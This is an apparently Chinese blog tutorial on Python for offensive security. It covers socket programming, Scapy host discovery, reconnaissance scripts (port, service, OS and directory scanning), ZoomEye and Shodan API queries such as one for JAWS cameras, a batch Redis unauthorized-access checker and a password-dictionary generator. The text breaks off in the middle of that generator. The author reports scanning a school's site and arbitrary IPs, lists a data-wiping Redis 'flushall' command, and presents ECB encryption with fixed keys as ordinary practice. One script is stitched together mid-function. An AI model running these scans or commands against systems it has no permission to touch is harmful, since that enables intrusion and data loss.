Python安全攻防-从入门到入狱

Python安全攻防-从入门到入狱,第1张

Python安全攻防-从入门到入狱

居家隔离闲着无聊
思来想去决定写篇关于 【 P y t h o n 攻 防 】 color{blue}{【Python攻防】} 【Python攻防】专栏
没办法-越復越想学


网上有《Python安全攻防》
想深入学习的可以买
我没买–毕竟我喜欢白嫖

⛰前言⛰

国家网络安全法 正文

一、Socket网络编程

TCPUDP 二、Scapy网络嗅探

TCP发送数据基于ICMP协议的存活主机探测基于TCP/UDP的主机发现基于ARP协议的主机发现 三、信息搜集

IP查询Whois查询子域名挖掘邮件爬取端口扫描服务识别系统识别敏感目录探测 四、网络空间搜索引擎

Zoomeye(钟馗之眼)

调用ZoomEye(钟馗之眼)的API接口实现自动化信息搜集 Shodan

调用Shodan的API接口实现自动化信息搜集 小结 五、漏洞检测与防御

Redis未授权访问漏洞

Python批量检测Redis未授权访问漏洞漏洞防御与检测 六、数据加密

Python实现DES加解密Python实现AES加解密Python实现MD5加密 七、身份认证

Python社工字典生成Python后台弱口令爆破SSH暴力破解FTP暴力破解 八、Fuzz测试

Python绕过安全狗 九、Scapy进劫

ARP毒化Dos

数据链路层Dos-MAC泛洪攻击网络层Dos-死亡之Ping传输层Dos-SYN拒绝服务攻击应用层Dos-Slowloris攻击防御策略 十、完结

⛰前言⛰

  • 随着近几年互联网的发展,Python在各行各业发挥着举足轻重的作用。除应用在科学计算、大数据处理等人们熟知的领域外,在信息安全领域中使用也异常广泛。这是因为对于渗透测试工程师来说Python语言不仅上手容易,而且还有大量丰富的开源库。通过Python可以帮助他们又好又快的完成一项任务,以少量的代码便可实现所需功能。从而借助Python打造更安全的。 国家网络安全法

    敲重点中华人民共和国网络安全法建议倒背如流

    正文 一、Socket网络编程

    网络调试助手:https://pan.baidu.com/s/1Do-v8XMDaIYJsXRQok5RhQ 提取码:ya4g (便于测试)

      套接字(Socket)是计算机之间进行通信的一种约定。通过Socket,一台计算机可以接受其他计算机的数据,也可以向其他计算机发送数据。远程管理软件和黑客软件大多依赖于Socket来实现特定功能的,其包括两个部分:运行于服务器端称之为ServerSocket,运行于客户机端称之ClientSocket。

    TCP

    TCP是因特网中的传输层协议,使用三次握手协议建立连接。

    TCP_Client.py

    import socket
    
    
    def main():
    	# 创建TCP套接字
    	tcp_client_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    
    	# 服务器地址
    	sever_ip = input("请输入服务器ip:")
    	sever_port = input("请输入服务器端口:")
    
    	# 连接服务器(元组)
    	tcp_client_socket.connect((sever_ip,int(sever_port)))
    
    	# 输入发送的数据
    	data = input("请输入要发送的数据:")
    
    	# 发送数据
    	tcp_client_socket.send(data.encode("utf-8"))
    
    	#接收数据
    	recv_data = tcp_client_socket.recv(1024)
    	print("对方的回复:"recv_data.decode("utf-8"))
    
    if __name__ == '__main__':
    	main()
    

    nc -lvp 8888 监听8888端口
    (一次完整对话)

    TCP_Sever.py

    import socket
    
    def main():
        # 创建套接字
        tcp_server_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    
        # 绑定本地IP和端口
        tcp_server_socket.bind(("192.168.12.1",8888))
    
        # 被动 listen
        tcp_server_socket.listen(128)
    
        while True:
            # 等待客户端信息
            print("等待客户端连接")
            client_socket,client_addr = tcp_server_socket.accept()
            print("客户端为:",client_addr)
    
            #接收对方发送数据
            recv_data = client_socket.recv(1024)
            print("接收到信息为:",recv_data.decode("utf-8"))
    
            #发送数据到客户端
            client_socket.send("Yasso".encode("utf-8"))
            client_socket.close()
    
    if __name__ == "__main__":
        main()
    

    UDP

    UDP 为应用程序提供了一种无需建立连接就可以发送封装的 IP 数据包的方法。

    UDP_Client_send.py

    import socket
    #创建udp套接字
    udp_socket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
    # 目标ip和端口
    target_addr = ('192.168.12.128',8888)
    
    #获取数据
    data = input("请输入要发送的数据:")
    
    #发送数据
    udp_socket.sendto(data.encode('utf-8'),target_addr)
    
    udp_socket.close()
    

    UDP_Client_receive.py

    import socket
    #创建udp套接字
    udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    
    local_addr=('192.168.12.128',8888) 
    #绑定ip(必须本地)和端口
    udp_socket.bind(local_addr)
    
    #等待接受对方发送的数据
    recv_data = udp_socket.recvfrom(1024) #表示本次接受的最大字节数1024
    
    # 显示接受的数据
    print(recv_data[0].decode('utf-8'))
    udp_socket.close()
    

    liunx等待接受数据->win10发送数据->liunx成功接收数据

    nc -ulp 8888 监听udp模式下的8888端口

    私密聊天室

    # UDP应用-私密聊天室(极简)
    import socket
    
    
    def send(chat_ip,chat_port):
    	udp_socket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
    	"""发送消息"""
    	address = (chat_ip,int(chat_port))
    	print(address)
    	data = input("请输入发送的消息:")
    	udp_socket.sendto(data.encode("utf-8"),address)
    
    
    def receive():
    	"""接收消息"""
    	udp_socket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
    	# 绑定本地IP和端口
    	udp_socket.bind(("192.168.12.1",8888))
    	recv_data = udp_socket.recvfrom(1024)
    	print(recv_data[0].decode('utf-8'))
    
    
    def main():
    	chat_ip = input("请输入您聊天对方IP地址:")
    	chat_port = input("请输入您聊天对方端口:")
    
    	# 循环调用
    	while True:
    		print("++++++欢迎进入私密聊天室++++++")
    		print("0:发送消息")
    		print("1:接收消息")
    		print("2:退出聊天")
    		function = input("请输入您要用的模块")
    
    		if function == "0":
    			send(chat_ip,chat_port)
    		elif function == "1":
    			receive()
    		elif function == "2":
    			break
    		else:
    			print("输入有误,请重新输入")
    
    
    
    if __name__ == '__main__':
    	main()
    

    二、Scapy网络嗅探

    Scapy是一个可以让用户发送、侦听和解析并伪装网络报文的Python程序。这些功能可以用于制作侦测、扫描和攻击网络的工具

    pip install scapy 安装scapy
    pip install ipython安装交互式shell

      Scapy是一个强大的交互式包 *** 作程序。它能够伪造或解码大量协议的数据包,在网络上发送它们,捕获它们,匹配请求和响应,等等。Scapy可以轻松地处理大多数经典任务,如扫描、跟踪、探测、单元测试、攻击或网络发现。它可以代替hping、arpsoof、arp-sk、arping、p0f甚至Nmap、tcpdump和tshark的某些部分

    TCP发送数据

    TCPsend.py

    # -- coding: utf-8 --
    import time
    import threading
    import sys
    from scapy.all import *
     
     
    # 数据包应用层数据部分
    data = 'flag{flag_is_not_here}'
    
    # src:源地址 、sport:源端口、dst:目标地址、dport:目标端口
    pkt = IP(src='192.168.12.128', dst='192.168.12.166') / TCP(sport=4444, dport=6666) / data
    
    # 间隔一秒发送一次   总共发送5次   发送网卡口(iface):eth0
    send(pkt, inter=1, count=5, iface="eth0")
    

    基于ICMP协议的存活主机探测

      ICMP协议是一种面向无连接的协议,用于传输出错报告控制信息。它是一个非常重要的协议,它对于网络安全具有极其重要的意义。 属于网络层协议,主要用于在主机与路由器之间传递控制信息,包括报告错误、交换受限控制和状态信息等。当遇到IP数据无法访问目标、IP路由器无法按当前的传输速率转发数据包等情况时,会自动发送ICMP消息。

    判断是否为活跃主机,只需要向其发送一个ICMP请求,如果这台主机处于活跃状态,那么它在收到这个请求之后就会给出一个回应。

    # -- coding: utf-8 --
    from scapy.all import *
    # 构造IP包头构造ICMP包头加载发送数据包函数
    
    for i in range(1,254):      # 整个个网段
         ip="192.168.12."+str(i)    # 设置IP地址
         pkt=IP(dst=ip,src="192.168.12.128")/ICMP(type="Echo-request") #ICMP包的类型为Echo request——回显请求(Ping请求)
         rep=sr1(pkt,timeout=1,verbose=False) # 发送和接受数据包,超时时间为1秒,设置无过程回显。
         # 如果该数据包有回应则输出
         if rep:
            print("The  " + rep[IP].src + "  is live")
    
    

    基于TCP/UDP的主机发现

    基于TCP、UDP的主机发现属于四层主机发现是一个位于传输层的协议。可以用来探测远程主机存活、端口开放、服务类型以及系统类型等信息,相比于三层主机发现更为可靠用途更广.

    TCP
    工作原理主要依据目标主机响应数据包中flags字段,如果flags字段有值,则表示主机存活,该字段通常包括SYN、FIN、ACK、PSH、RST、URG六种类型。SYN表示建立连接,FIN表示关闭连接,ACK表示应答,PSH表示包含DATA数据传输,RST表示连接重置,URG表示紧急指针。

    # -- coding: utf-8 --
    from scapy.all import *
    
    for i in range(1,254):      # 整个个网段
         ip="192.168.12."+str(i)    # 设置IP地址
         pkt=IP(dst=ip)/TCP(flags="A",dport=4444) #响应数据包中flags值判断主机是否存活
         rep=sr1(pkt,timeout=1,verbose=False) # 发送和接受数据包,超时时间为1秒,设置无过程回显。
         if rep:
    # 如果该数据包有相应则输出
            print("The  " + rep[IP].src + "  is live")
    
    

    UDP
    UDP是向目标主机一个没有开放的端口发送数据,目标主机会返回一个目的端口不可达的ICMP报文,以此来判断主机是否在线。如果主机不在线,或者目标端口开放,UDP探测是不会收到响应包的。

    # -- coding: utf-8 --
    from scapy.all import *
    
    for i in range(1,254):      # 整个个网段
         ip="192.168.12."+str(i)    # 设置IP地址
         pkt=IP(dst=ip)/UDP(dport=6666) 
         rep=sr1(pkt,timeout=1,verbose=False) # 发送和接受数据包,超时时间为1秒,设置无过程回显。
         if rep:
    # 如果该数据包有相应则输出
            print("The  " + rep[IP].src + "  is live")
    
    

    wireshark拦截

    基于ARP协议的主机发现

    地址解析协议,即ARP,是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。

    ARP
    对以太网内的每个主机都进行ARP请求。若主机存活,则会响应我们的ARP请求,否则不会响应.因为ARP涉及网络层和数据链路层所以需要使用Scapy中的Ether和ARP。

    # -- coding: utf-8 --
    from scapy.all import *
    
    for i in range(1,254):      # 整个个网段
         ip_list=[]
         ip="192.168.12."+str(i)    # 设置IP地址
         # 发送ARP包
         # 二层发包,需要添加以太网头部,所以要写成Ether/ARP
         # 因为最底层用到了二层,所以要用srp()发包
         ans=srp(Ether(dst='FF:FF:FF:FF:FF:FF')/ARP(op=1,pdst=ip,hwdst='00:00:00:00:00:00'),timeout=1,verbose=False)
         if ans[0].res:
            print("The  "+ip+"  is live")
    

    三、信息搜集 IP查询

    IP查询是通过当前所获取到的URL去查询对应IP地址的过程。可以应用Socket库函数中的gethostbyname()获取域名所对应的IP值°

    import socket
    domain = input("请输入要查询的域名:")
    ip = socket.gethostbyname(domain)
    print("IP地址为:",ip)
    

    Whois查询

    whois模块查询域名www.baidu.com的注册信息

    pip install python-whois 安装模块

    from whois import whois
    data = whois('www.baidu.com')
    print(data)
    

    子域名挖掘

    域名可以分为顶级域名、—级域名、二级域名等。子域名(subdomam)是顶级域名(一级域名或父域名)的下—级。例如mail.example.com和calendar.example.com是example.com的两个子域,而example.com则是顶级域.com的子域。在测试过程中测试目标主站时如果未发现任何相关漏洞,此时通常会考虑⛏︎目标系统的子域名。子域名⛏︎方法有很多种,例如,搜索引擎、子域名破解、字典查询等。

    import requests                      
    from bs4 import BeautifulSoup  
    from urllib.parse import urlparse   
    import sys 
    
    def bing_search(site,pages):
        Subdomain = []
        headers = {         #HTTP Headers是HTTP请求和相应的核心,它承载了关于客户端浏览器,请求页面,服务器等相关的信息
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36',   #是HTTP协议中的一部分,属于头域的组成部分,是一种向访问网站提供你所使用的浏览器类型、 *** 作系统及版本、CPU 类型、浏览器渲染引擎、浏览器语言、浏览器插件等信息的标识
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,**',
                   'Accept-Language':'en-US,en;q=0.5',
                   'Accept-Encoding':'gzip,deflate',
                   'Referer':referer}
        return headers
    
    if __name__ == '__main__':
        #定义异常
        try:
            start(sys.argv[1:])
        except KeyboardInterrupt:
            print("interrupted by user,killing all threads...")
    
    

    试了下某学校网站,爬到不少
    溜了溜了

    端口扫描
    import socket
    import threading
    
    def main(target):
        print('开始扫描---')
        for port in range(1,65535):
            t = threading.Thread(target=hackport,args=(target,port))
            t.start()
    
    def hackport(target,port):
        try:
            res = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
            res.connect((target,port)) #双括号元组
            print("%s:%d 端口开放"%(target,port))
            res.close()
        except:
            pass
    
    if __name__ == '__main__':
        target= input("请输入要扫描的IP:")
        main(target)
        print('***扫描完毕***')
    

    内网靶机

    nmap -sV -p- 192.168.12.134

    服务识别
    from optparse import OptionParser
    import time
    import socket
    import os
    import re
    
    SIGNS = (
        # 协议 | 版本 | 关键字
        b'FTP|FTP|^220.*FTP',
        b'MySQL|MySQL|mysql_native_password',
        b'oracle-https|^220- ora',
        b'Telnet|Telnet|Telnet',
        b'Telnet|Telnet|^rn%connection closed by remote host!x00$',
        b'VNC|VNC|^RFB',
        b'IMAP|IMAP|^* OK.*?IMAP',
        b'POP|POP|^+OK.*?',
        b'SMTP|SMTP|^220.*?SMTP',
        b'Kangle|Kangle|HTTP.*kangle',
        b'SMTP|SMTP|^554 SMTP',
        b'SSH|SSH|^SSH-',
        b'HTTPS|HTTPS|Location: https',
        b'HTTP|HTTP|HTTP/1.1',
        b'HTTP|HTTP|HTTP/1.0',
    )
    def regex(response, port):
        text = ""
        if re.search(b'502 Bad Gateway', response):
            proto = {"Service failed to access!!"}
        for pattern in SIGNS:
            pattern = pattern.split(b'|')
            if re.search(pattern[-1], response, re.IGNORECASE):
                proto = "["+port+"]" + " open " + pattern[1].decode()
                break
            else:
                proto = "["+port+"]" + " open " + "Unrecognized"
        print(proto)
    
    def request(ip,port):
        response = ''
        PROBE = 'GET / HTTP/1.0rnrn'
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)
        result = sock.connect_ex((ip, int(port)))
        if result == 0:
            try:
                sock.sendall(PROBE.encode())
                response = sock.recv(256)
                if response:
                    regex(response, port)
            except ConnectionResetError:
                pass
        else:
            pass
        sock.close()
    
    def main():
        parser = OptionParser("Usage:%prog -i <target host> ")   # 输出帮助信息
        parser.add_option('-i',type='string',dest='IP',help='specify target host')   # 获取ip地址参数
        parser.add_option('-p', type='string', dest='PORT', help='specify target host')  # 获取ip地址参数
        options,args = parser.parse_args()
        ip = options.IP
        port = options.PORT
        print("Scan report for "+ip+"n")
        for line in port.split(','):
            request(ip,line)
            time.sleep(0.2)
        print("nScan finished!....n")
    
    if __name__ == "__main__":
        try:
            main()
        except KeyboardInterrupt:
            print("interrupted by user, killing all threads...")
    
    </pre> 
    <p></p> 
    系统识别 
    <blockquote> 
     <p>根据按照目标主机返回的响应数据包中的TTL值来判断 *** 作系统类型的原理</p> 
    </blockquote> 
    <pre class='brush:php;toolbar:false'>from optparse import OptionParser
    import os
    import re
    
    def main():
        parser = OptionParser("Usage:%prog -i <target host>")
        parser.add_option('-i', type='string', dest='IP', help='specify target host')
        options, args = parser.parse_args()
        ip = options.IP
        ttl_scan(ip)
    
    
    def ttl_scan(ip):
        ttlstrmatch = re.compile(r'ttl=d+')  #正则匹配取出TTL值
        ttlnummatch = re.compile(r'd+')
        result = os.popen("ping -c 1 "+ip)  # 调用os.popen()函数执行ping命令
        res = result.read()
        for line in res.splitlines():
            result = ttlstrmatch.findall(line)
            if result:
                ttl = ttlnummatch.findall(result[0])
                if int(ttl[0]) <= 64:              # ttl值小于等于64时,操作系统为linux系统
                    print("%s is Linux/Unix" % ip)
                else:                              #否则就是windows
                    print("%s is Windows" % ip)
                break
            else:
                pass
    
    
    if __name__ == '__main__':
        main()
    </pre> 
    <p></p> 
    敏感目录探测 
    <pre class='brush:php;toolbar:false'>#-*- coding:utf-8 -*-
    import requests
    
    
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0"
    }
    url = input("url: ")
    txt = input('字典.txt')  # 同级目录下的字典
    url_list = []
    if txt == "":
        txt = "字典.txt"
    try:
        with open(txt, 'r') as f:
            url_list = f.read().split('n')
    except:
        print("error")
    
    for li in url_list:
        conn = "http://"+ url + "/" + li
        try:
            response = requests.get(conn, headers=headers)
            print("%s --------------- %s" % (conn, response))
        except:
            # print("%s --------------- %s" % (conn, e.code))
            pass
    
    </pre> 
    <p></p> 
    四、网络空间搜索引擎 
    <p><s>平常用fofa,不过貌似最近摊上事了,域名被列入了黑名单</s></p> 
    <blockquote> 
     <p>搜索引擎是指从互联网搜集信息,经过一定整理以后,提供给用户进行查询的系统传统搜索引擎对我们来说并不陌生,像Google、百度等,每天我们几乎都会用它们来搜索消息。与<font face="STCAIYUN">传统搜索引擎</font>相比,<font color="LightSeaGreen">网络空间搜索引擎有很大不同,其搜索目标为全球的IP地址,实时扫描互联网和解析各种设备,对网络中的设备进行探测识别和指纹分析,并将其扫描的目标信息进行分布式存储,供需求者检索使用。传统的网络空间搜索模型框架一般由五部分组成:扫描和指纹识别、分布存储、索引、UI界面以及调度程序。</font></p> 
    </blockquote> 
    <p>  网络空间搜索引擎️能够帮助安全研究人员针对APT组织、攻击方式等情况进行分析;对于公司安全管理人员六‍,能够帮助他们进行网络资产匹配、安全评估等;对于安全白帽子,能够帮助渗透测试人员在与目标非交互的情况下搜集信息,例如,搜索资产、系统类型,开放端口等。</p> 
    <p>Quake网络空间测绘系统(360)<br /> 资产狩猎框架-AssetsHunter<br /> Censys搜索引擎<br /> Zoomeye(钟馗之眼)<br /> Shodan(撒旦)</p> 
    Zoomeye(钟馗之眼) 
    <blockquote> 
     <p>   Zoomeye支持公网设备指纹检索和Web指纹检索。Web指纹识别包括应用名版本、前端框架、后端框架、服务端语言、服务器 *** 作系统、网站容器、内容管理系统和数据库等。设备指纹识别包括应用名、版本、开放端口、 *** 作系统、服务名、地理位置等,直接输人关键词即可开始检索。</p> 
    </blockquote> 
    <center>
     <big>设备检索指纹语法</big>
    </center> 
    <thead><tr><th align="center">语法</th><th align="center">描述</th><th align="center">实例</th></tr></thead><tr>app:组件名组件名称app:“Apache httpd”</tr><tr>ver:组件版本组件的版本号ver:“2.2.16”</tr><tr>port:端口号目标系统开放端口port:3389</tr><tr>os: *** 作系统目标 *** 作系统类型os:linux</tr><tr>service:服务名系统运行的服务类型service:“ssh”</tr><tr>hostname:主机名目标系统的主机名hostname:google.com</tr><tr>country:国家或者地区代码目标系统的地理位置country:US</tr><tr>city:城市名称目标系统所在城市city:“beijing”</tr><tr>ip:指定的IP地址目标系统对应的IP地址ip:8.8.8.8</tr><tr>org:组织结构所属的组织结构org:“Vimpelcom”</tr><tr>asn:自治系统号自治系统编号asn:42839</tr><tr>ssl:SSL证书SSL证书ssl:“corp.google.com”</tr>
    <center>
     <big>Web指纹检索语法</big>
    </center> 
    <thead><tr><th align="center">语法</th><th align="center">描述</th><th align="center">实例</th></tr></thead><tr>app:组件名组件名称app:“Apache httpd”</tr><tr>ver:组件版本组件的版本号ver:“2.2.16”</tr><tr>site:网站域名目标网站域名site:google.com</tr><tr>os: *** 作系统目标 *** 作系统类型os:linux</tr><tr>title:页面标题网站标题site:Nginx</tr><tr>kewords:页面关键字网站页面关键字keywords:Nginx</tr><tr>desc:页面说明页面描述字段desc:Nginx</tr><tr>headers:请求头部HTTP请求中的Headersheaders:Server</tr><tr>country:国家或者地区代码目标系统的地理位置country:US</tr><tr>city:城市名称目标系统所在城市city:“beijing”</tr><tr>ip:指定的IP地址目标系统对应的IP地址ip:8.8.8.8</tr><tr>org:组织机构所属的组织机构org:“Vimpelcom”</tr><tr>asn:自治系统号自治系统编号asn:42839</tr>
    调用ZoomEye(钟馗之眼)的API接口实现自动化信息搜集 
    <p>ZoomEye-API 分为两种验证方式,API-KEY 和登录验证<br /> ZoomEye API手册<br /> curl -X POST https://api.zoomeye.org/user/login -d '{"username": "28********@qq.com","password": "123456"}'<br /> <br /> 使用host方法,查询开放6379端口的服务器IP地址,并打印出检索到的lP地址和端口号</p> 
    <pre class='brush:php;toolbar:false'>import requests
    import json
    from bs4 import BeautifulSoup
    
    data_info = {'username':"z***@qq.com",'password':"P******X"} 
    respond1= requests.post(url = 'https://api.zoomeye.org/user/login',json = data_info)
    
    authorization = {'Authorization' : 'JWT ' +"eyJhbGciOiJIU***kpXVCJ9.eyJpZGVudG*MzA1***********mJmIjoxN*I-ZMB0zG*tPZK11FCo"}
    url = "https://api.zoomeye.org/host/search?query=port:6379&page=1&facet=app,os"
    respond = requests.get(url = url,headers = authorization)
    
    data = json.loads(respond.text)
    
    for line in data['matches']:
        print(line['ip']+': '+str(line['portinfo']['port']))
    </pre> 
    <p></p> 
    Shodan 
    <blockquote> 
     <p>  Shodan主要获取互联网中设备中的服务、位置、端口、版本等信息,目前比较受欢迎的内容有webcam、linksys、 cisco、 nctgear、SCADA等。通过不同的搜索语法可以做到批量搜索漏洞主机、统计中病毒主机、进行弱口令爆破、获取shell等功能。</p> 
    </blockquote> 
    <center>
     <big>Shoda常用语法</big>
    </center> 
    <thead><tr><th align="center">语法</th><th align="center">描述</th><th align="center">实例</th></tr></thead><tr>city:城市名称城市city:“beijing”</tr><tr>country:国家或者地区代码国家的简称countIy:“CN”</tr><tr>geo:经纬度经纬度geo:“46.9481,7.4474”</tr><tr>hostname:主机名主机名或域名hostname:“baidu”</tr><tr>ip:IP地址IP地址ip:“11.11.11.11”</tr><tr>isp: ISP供应商ISP供应商isp:“China Telecom”</tr><tr>org:组织或者公司组织或者公司org:“baidu”</tr><tr>os: *** 作系统 *** 作系统os:Windows 7 or 8</tr><tr>port:端口号端口号port:80</tr><tr>net:CIDR格式的IP地址CIDR格式的IP地址net:“190.30.40.0/24”</tr><tr>versjon:软件版本号软件版本version:“4.4.2”</tr><tr>vuln:漏洞编号漏洞CVE编号vuln:CVE-2020-0787</tr><tr>http.server:服务类型http请求返回中server的类型http.server:apache</tr><tr>http.status:请求状态码http请求返回响应码的状态http.stams:200</tr>
    调用Shodan的API接口实现自动化信息搜集 
    <blockquote> 
     <p>使用Python去调用Shodan的API接口可以实现自动化信息搜集,首先需要注册六,在MyAccount中可以️APIKey.</p> 
    </blockquote> 
    <p><br /> Shodan API官方文档</p> 
    <pre class='brush:php;toolbar:false'>import shodan
    import json
    
    Shodan_API_KEY = 'q************************0'
    shodan_api = shodan.Shodan(Shodan_API_KEY)
    # ip = shodan_api.host('8.8.8.8')     # host()方法获取指定IP的相关信息
    
    # 搜索JAWS摄像头,并将IP和端口打印出来
    results = shodan_api.search('JAWS/1.0')
    print("共有%s"%results['total']+"条搜索结果")
    for result in results['matches']:
        print(result['ip_str']+":"+str(result['port']))
    </pre> 
    <p></p> 
    小结 
    <blockquote> 
     <p>  作为渗透测试的-信息搜集,信息搜集的完整性决定了你渗透测试的结果.工欲其事,必先利其器。让<font size="6" face="黑体" color="#0099ff">Python</font>完全替代现有的渗透测试工具不太现实,但可以让我们更好的理解我们当今大多数渗透测试工具的原理,为我们以后⚒⚒⚒⚒⚒⚒工具打下基础。</p> 
    </blockquote> 
    五、漏洞检测与防御 
    Redis未授权访问漏洞 
    <blockquote> 
     <p>  未授权访问漏洞可以理解为安全配置、权限认证、授权页面存在缺陷,导致其他用户六可以直接访问,从而引发权限可被 *** 作数据库、网站目录等敏感信息泄露。目前存在未授权访问漏洞的服务主要包括:NFS、 Samba、LDAP、Rsync、FTP、GitLab、Jenkms、MongoDB、Redis、ZooKeeper、ElasticSearch、Memcache、CouchDB、Docker、Solr、Hadoop等。</p> 
    </blockquote> 
    <p>通过手工进行未授权访问验证,在安装Redis服务的Kall系统中连接☌,如果目标系统存在未授权访问漏洞,则可以成功连接☌</p> 
    <p>redis-cli -h 192.168.12.128 在本地搭建的redis漏洞环境<br /> keys * 查看key和其对应的值<br /> get user 获取用户名<br /> get password 获取登录指令<br /> flushall 删除所有数据</p> 
    <p>info 返回关于 Redis 服务器的各种信息和统计数值<br /> </p> 
    Python批量检测Redis未授权访问漏洞 
    <pre class='brush:php;toolbar:false'>import sys
    import socket
    '''
    socket连接远程主机的IP及端口号,发送info命令.利用recvdata()函数接收目标
    主机返回的数据,当时返回的数据含有'redis verslon'字符串时,表明存在未授权访问漏
    洞,否则不存在.
    ''' 
    # 随便找了几个ip测试下
    with open('redis.txt',"r") as f:
        url= f.read()
    
    def main():
        for ip in url.split():
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(1)  # 限制超时1秒
            s.connect((ip,6379))
            s.send('INFOrn'.encode('utf-8'))   # info命令返回服务器版本
            recv_data= s.recv(1024) 
            if "redis_version" in recv_data.decode('utf-8'):
                 print(ip+":存在Redis未授权访问漏洞")
            else:
                pass
            s.close()
    
    f.close()
    if __name__ ==   '__main__':
        main()
    </pre> 
    <p><br /> ⛸️⛸️⛸️⛸️⛸️⛸️</p> 
    漏洞防御与检测 
    <p><font color="#FF000">Redis未授权访问漏洞</font>产生的危害☠︎☠︎☠︎很大,甚至可以批量获取目标系统的权限,有必要针对该漏洞进行严格限制和防御。针对该漏洞的防御方式有很多,下面是常见的︎︎︎方式:<br /> 1️⃣禁止远程使用高危命令。<br /> 2️⃣低权限运行Redis服务。<br /> 3️⃣禁止外网访问Redis。<br /> 4️⃣阻止其他用户添加新的公钥,将authorized-keys的权限设置为对拥有者只读。</p> 
    六、数据加密 
    <blockquote> 
     <p>根据明文处理方式的不同分为序列密码与分组密码,根据密钥的使用个数不同分为对称加密算法和非对称加密算法.</p> 
    </blockquote> 
    <p>常见的对称加密算法包括DES、AES等</p> 
    Python实现DES加解密 
    <p>通过Cryptodome库函数实现对字符串进行DES加解密。由于DES为分组密码的加密方式,其工作模式有五种: ECB、CBC、CTR、CFB、OFB</p> 
    <pre class='brush:php;toolbar:false'>from Crypto.Cipher import DES
    import binascii
    
    key = '12345678'                 # 密钥
    des = DES.new(key.encode('utf-8'),DES.MODE_ECB)  # ECB模式
    text = input("请输入要加密的字符串:")               # 要加密的字符串
    text = text + (8-(len(text)%8)) * '='  # 数据块对齐
    
    # 加密
    encrypt_text = des.encrypt(text.encode('utf-8'))  #
    Result1 = binascii.b2a_hex(encrypt_text)   # 字符串转为16进制
    print("DES加密后:"+str(Result1))
    
    # 解密
    decrypt_text = binascii.a2b_hex(Result1)
    Result2 = des.decrypt(decrypt_text)
    print("DES解密后:"+str(Result2))
    </pre> 
    <p></p> 
    Python实现AES加解密 
    <blockquote> 
     <p>AES加密算法的轮函数采用代替/置换网络结构,包括S盒变换(ByteSub)、行移位变换(ShjhRow)、列混合变换(MixColumn)、圈密钥加变换(AddRoundKey)。</p> 
    </blockquote> 
    <p>AES为分组密码的加密方式,其工作模式有五种: ECB、CBC、CTR、CFB、OFB.</p> 
    <pre class='brush:php;toolbar:false'>from Crypto.Cipher import AES
    import binascii
    
    key = 'abcdefghabcdefgh'                 # 密钥长度须为8字节
    aes = AES.new(key.encode(),AES.MODE_ECB)  # ECB模式
    text = input("请输入要加密的字符串:")      # 要加密的字符串需为8字节的倍数
    text = text + (16-(len(text)%16)) * '='  # 数据块对齐
    
    # 加密
    encrypt_text = aes.encrypt(text.encode())  
    Result1 = binascii.b2a_hex(encrypt_text)   # 字符串转为16进制
    print("AES加密后:"+str(Result1))
    
    # 解密
    decrypt_text = binascii.a2b_hex(Result1)   # 16进制转为字符串
    Result2 = aes.decrypt(decrypt_text)
    print("AES解密后:"+str(Result2))
    </pre> 
    <p></p> 
    Python实现MD5加密 
    <blockquote> 
     <p>MD5是以512位的分组来处理输人的信息,并且将每一分组又划分成16个32位的子分组,经过了一系列的处理后,算法的输出由四个32位的分组组成,将这四个32位的分组结合后将生成一个128位的散列值.</p> 
    </blockquote> 
    <p>用Python实现MD5加密时用到的是hashlib模块,可以通过hashlib标准库使用多种Hash算法,如SHA1、SHA224、SHA256、SHA384、SHA512和MD5算法等。</p> 
    <pre class='brush:php;toolbar:false'>from hashlib import md5
    
    def main(s):
        new_md5 = md5()
        new_md5.update(s.encode('utf-8'))
        print(new_md5.hexdigest())
    
    
    if __name__ == '__main__':
        main(input("请输入要加密的字符串:"))
    </pre> 
    <p></p> 
    七、身份认证 
    <blockquote> 
     <p>身份认证攻击总的来说分为三种攻击鷺方式:<br /> 字典破解:利用工具提前生成好字典文件,只需让破解脚本对的内容逐一尝试破解即可。这种方式效率高,成功率一般。<br /> 暴力破解:这种方式最为粗暴,不需要。将所有可能性的密码组合(如字母+数字+特殊字符)全部进行尝试。这种方式需要花费大量的时间,效率很低,但是在没有其他条件限制的情况下肯定能猜到密码,成功率高。<br /> 混合破解:多种破解技术结合使用。这种方法效率高,成功率也较高。</p> 
    </blockquote> 
    Python社工字典生成 
    <pre class='brush:php;toolbar:false'>import itertools
    
    def ReadInformationList(infolist):
        for i in range(1,3):
            lines = input('请输入第%s个关键字:'%i)
            infolist.append(lines.strip())
    
    def CreateNumberList(numberList):
        words = "0123456789"
        itertoolsNumberList = itertools.product(words,repeat=2) # 所有两位数
        for number in itertoolsNumberList:
            numberList.append("".join(number))
        
    
    def CreateSpecialList(specialList):
        specialWords = "~!@#$%^&*()_+`-=,/:><.|"  # 特殊字符
        for i in specialWords:
            specialList.append("".join(i))
    
    # 创建Combinatjon()函数字典生成算法主体 可自定义组合算法
    # 关键字与两位数和一位特殊字符组合
    def main(dictionaryFile):
        for a in range(0,len(infolist)):
            for b in range(0, len(numberList)):
                for c in range(0,len(specialList)):
                    dictionaryFile.append(infolist[a] + numberList[b] + specialList[c])
    
                    dictionaryFile.append(infolist[a] + specialList[c] + numberList[b])
    
                    dictionaryFile.append(specialList[c] + infolist[a] + numberList[b])
    
                    dictionaryFile.append(specialList[c] + numberList[b] + infolist[a])
    
                    dictionaryFile.append(numberList[b] + infolist[a] + specialList[c])
    
